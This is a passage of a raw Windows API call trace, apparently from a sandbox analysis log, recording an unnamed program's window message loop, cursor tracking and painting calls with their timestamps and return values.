WaitMessage () returned 1 [0258.228] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.228] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.228] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.228] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.228] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.228] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.228] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.228] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.229] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.229] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=798, y=477)) returned 1 [0258.229] WindowFromPoint (Point=0x31e) returned 0xa0060 [0258.229] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd031e) returned 0x1 [0258.229] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.229] GetCurrentProcessId () returned 0x8d0 [0258.229] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.229] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.229] GetCapture () returned 0x0 [0258.229] WaitMessage () returned 1 [0258.287] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.287] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f2) returned 0x1 [0258.287] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=754, y=477)) returned 1 [0258.287] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0258.288] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x20, wParam=0x40050, lParam=0x2000001) returned 0x0 [0258.288] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0x40050, lParam=0x2000001) returned 0x0 [0258.288] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.288] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.288] GetCapture () returned 0x0 [0258.288] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0258.288] WindowFromPoint (Point=0x2f2) returned 0x40050 [0258.288] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f2) returned 0x1 [0258.288] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0258.288] GetCurrentProcessId () returned 0x8d0 [0258.288] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.288] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0258.288] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x200, wParam=0x0, lParam=0x60032) returned 0x0 [0258.288] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f808 | out: lpdwProcessId=0x18f808) returned 0x8cc [0258.288] GetCurrentProcessId () returned 0x8d0 [0258.288] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.288] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbc4e, wParam=0x40050, lParam=0x18fa78) returned 0x0 [0258.288] GetKeyState (nVirtKey=18) returned 0 [0258.288] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.288] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.289] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.289] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0258.289] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f818 | out: lpdwProcessId=0x18f818) returned 0x8cc [0258.289] GetCurrentProcessId () returned 0x8d0 [0258.289] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.289] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18fa88) returned 0x0 [0258.289] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.289] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.289] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.289] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.289] GetClientRect (in: hWnd=0x40050, lpRect=0x18f778 | out: lpRect=0x18f778) returned 1 [0258.289] FillRect (hDC=0x1f01019b, lprc=0x18f778, hbr=0xf100188) returned 1 [0258.290] IsIconic (hWnd=0x70042) returned 0 [0258.290] IsIconic (hWnd=0x70042) returned 0 [0258.290] GetClientRect (in: hWnd=0x70042, lpRect=0x18f658 | out: lpRect=0x18f658) returned 1 [0258.290] FillRect (hDC=0x2e010796, lprc=0x18f658, hbr=0xf100188) returned 1 [0258.290] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x318, wParam=0x2e010796, lParam=0x4) returned 0x0 [0258.290] SendMessageA (hWnd=0x40050, Msg=0xbd35, wParam=0x2e010796, lParam=0x40050) returned 0xf100188 [0258.290] GetSysColor (nIndex=8) returned 0x0 [0258.290] SetTextColor (hdc=0x2e010796, color=0x0) returned 0x0 [0258.290] GetSysColor (nIndex=15) returned 0xf0f0f0 [0258.290] SetBkColor (hdc=0x2e010796, color=0xf0f0f0) returned 0xf0f0f0 [0258.291] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0258.291] GetCurrentProcessId () returned 0x8d0 [0258.291] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.291] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbc4e, wParam=0x40050, lParam=0x18f768) returned 0x0 [0258.291] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0258.291] GetCurrentProcessId () returned 0x8d0 [0258.291] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.291] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbc4e, wParam=0x40050, lParam=0x18f768) returned 0x0 [0258.291] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2 [0258.291] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xd, wParam=0x3, lParam=0x18e63c) returned 0x2 [0258.291] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xd, wParam=0x6, lParam=0x18e614) returned 0x2 [0258.292] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.292] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.292] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.292] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.292] GetClientRect (in: hWnd=0xa0060, lpRect=0x18f778 | out: lpRect=0x18f778) returned 1 [0258.292] FillRect (hDC=0x2a010b57, lprc=0x18f778, hbr=0xf100188) returned 1 [0258.292] IsIconic (hWnd=0x70042) returned 0 [0258.292] IsIconic (hWnd=0x70042) returned 0 [0258.293] GetClientRect (in: hWnd=0x70042, lpRect=0x18f658 | out: lpRect=0x18f658) returned 1 [0258.293] FillRect (hDC=0x3c01069b, lprc=0x18f658, hbr=0xf100188) returned 1 [0258.293] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x318, wParam=0x3c01069b, lParam=0x4) returned 0x0 [0258.293] SendMessageA (hWnd=0xa0060, Msg=0xbd35, wParam=0x3c01069b, lParam=0xa0060) returned 0xf100188 [0258.293] GetSysColor (nIndex=8) returned 0x0 [0258.293] SetTextColor (hdc=0x3c01069b, color=0x0) returned 0x0 [0258.293] GetSysColor (nIndex=15) returned 0xf0f0f0 [0258.293] SetBkColor (hdc=0x3c01069b, color=0xf0f0f0) returned 0xf0f0f0 [0258.293] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0258.293] GetCurrentProcessId () returned 0x8d0 [0258.293] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.293] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18f768) returned 0x0 [0258.293] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0258.293] GetCurrentProcessId () returned 0x8d0 [0258.293] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.293] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18f768) returned 0x0 [0258.294] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x6 [0258.294] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xd, wParam=0x7, lParam=0x18e63c) returned 0x6 [0258.294] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xd, wParam=0xe, lParam=0x18e614) returned 0x6 [0258.294] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.294] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0258.294] WindowFromPoint (Point=0x2f1) returned 0x40050 [0258.294] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1e002f1) returned 0x1 [0258.295] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.295] GetCurrentProcessId () returned 0x8d0 [0258.295] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.295] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.295] GetCapture () returned 0x0 [0258.295] WaitMessage () returned 1 [0258.318] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.319] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0258.321] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0258.321] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0258.321] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0258.328] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x46, wParam=0x0, lParam=0x18fd30) returned 0x0 [0258.328] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18fd30) returned 0x0 [0258.328] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f2) returned 0x1 [0258.328] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=754, y=477)) returned 1 [0258.328] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0258.328] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x20, wParam=0x40050, lParam=0x2000001) returned 0x0 [0258.328] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0x40050, lParam=0x2000001) returned 0x0 [0258.328] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.328] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.328] GetCapture () returned 0x0 [0258.328] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0258.328] WindowFromPoint (Point=0x2f2) returned 0x40050 [0258.329] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f2) returned 0x1 [0258.329] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0258.329] GetCurrentProcessId () returned 0x8d0 [0258.329] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.329] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0258.329] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x200, wParam=0x0, lParam=0x60032) returned 0x0 [0258.329] GetKeyState (nVirtKey=18) returned -127 [0258.329] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.335] GetCapture () returned 0x0 [0258.335] SendMessageA (hWnd=0x90168, Msg=0xbd05, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0258.335] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0xbd05, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0258.335] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0xbd05, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0258.335] TranslateMessage (lpMsg=0x18fdcc) returned 1 [0258.335] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.335] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0258.335] GetKeyState (nVirtKey=16) returned 0 [0258.335] GetKeyState (nVirtKey=17) returned 0 [0258.335] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0258.336] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.336] GetCapture () returned 0x0 [0258.336] SendMessageA (hWnd=0x90168, Msg=0xbd01, wParam=0x12, lParam=0xc0380001) returned 0x0 [0258.336] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0xbd01, wParam=0x12, lParam=0xc0380001) returned 0x0 [0258.336] TranslateMessage (lpMsg=0x18fdcc) returned 1 [0258.336] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.336] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0258.336] GetKeyState (nVirtKey=16) returned 0 [0258.336] GetKeyState (nVirtKey=17) returned 0 [0258.336] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0258.336] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.336] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0258.336] WindowFromPoint (Point=0x2f2) returned 0x40050 [0258.336] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f2) returned 0x1 [0258.337] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.337] GetCurrentProcessId () returned 0x8d0 [0258.337] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.337] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.337] GetCapture () returned 0x0 [0258.337] WaitMessage () returned 1 [0258.353] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.353] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.353] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.353] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.353] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.353] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.353] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.354] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.354] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.354] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0258.354] WindowFromPoint (Point=0x2f2) returned 0x40050 [0258.354] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f2) returned 0x1 [0258.354] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.354] GetCurrentProcessId () returned 0x8d0 [0258.354] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.354] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.354] GetCapture () returned 0x0 [0258.354] WaitMessage () returned 1 [0258.415] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.415] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.415] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.415] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.415] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.415] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.415] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.415] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.417] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.417] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0258.417] WindowFromPoint (Point=0x2f5) returned 0x40050 [0258.417] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1e002f5) returned 0x1 [0258.417] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.417] GetCurrentProcessId () returned 0x8d0 [0258.417] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.417] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.417] GetCapture () returned 0x0 [0258.417] WaitMessage () returned 1 [0258.477] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.477] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.477] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.478] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.478] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.478] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.478] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.478] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.478] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.478] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0258.478] WindowFromPoint (Point=0x2f2) returned 0x40050 [0258.479] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f2) returned 0x1 [0258.479] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.479] GetCurrentProcessId () returned 0x8d0 [0258.479] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.479] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.479] GetCapture () returned 0x0 [0258.479] WaitMessage () returned 1 [0258.539] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.539] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.539] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.539] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.539] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.539] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.540] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.540] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.540] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.540] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0258.540] WindowFromPoint (Point=0x2ef) returned 0x40050 [0258.540] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02ef) returned 0x1 [0258.540] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.540] GetCurrentProcessId () returned 0x8d0 [0258.540] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.540] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.540] GetCapture () returned 0x0 [0258.540] WaitMessage () returned 1 [0258.554] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.554] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.554] DispatchMessageA (lpMsg=0x18fdcc) returned 0x1 [0258.587] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.587] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0258.587] WindowFromPoint (Point=0x2e2) returned 0x70042 [0258.587] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x84, wParam=0x0, lParam=0x1cd02e2) returned 0x1 [0258.587] GetWindowThreadProcessId (in: hWnd=0x70042, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.587] GetCurrentProcessId () returned 0x8d0 [0258.587] GetPropA (hWnd=0x70042, lpString=0xc167) returned 0x38ef44 [0258.587] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.587] PtInRect (lprc=0x18fd80, pt=0x9f) returned 0 [0258.587] GetCapture () returned 0x0 [0258.587] WaitMessage () returned 1 [0258.601] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.601] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.601] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.602] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.602] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.602] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0258.602] WindowFromPoint (Point=0x2f2) returned 0x40050 [0258.602] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f2) returned 0x1 [0258.602] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.602] GetCurrentProcessId () returned 0x8d0 [0258.602] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.602] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.602] GetCapture () returned 0x0 [0258.602] WaitMessage () returned 1 [0258.664] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.664] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.664] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.664] CallWindowProcA (lpPrevWndFunc=0xffff00b1, 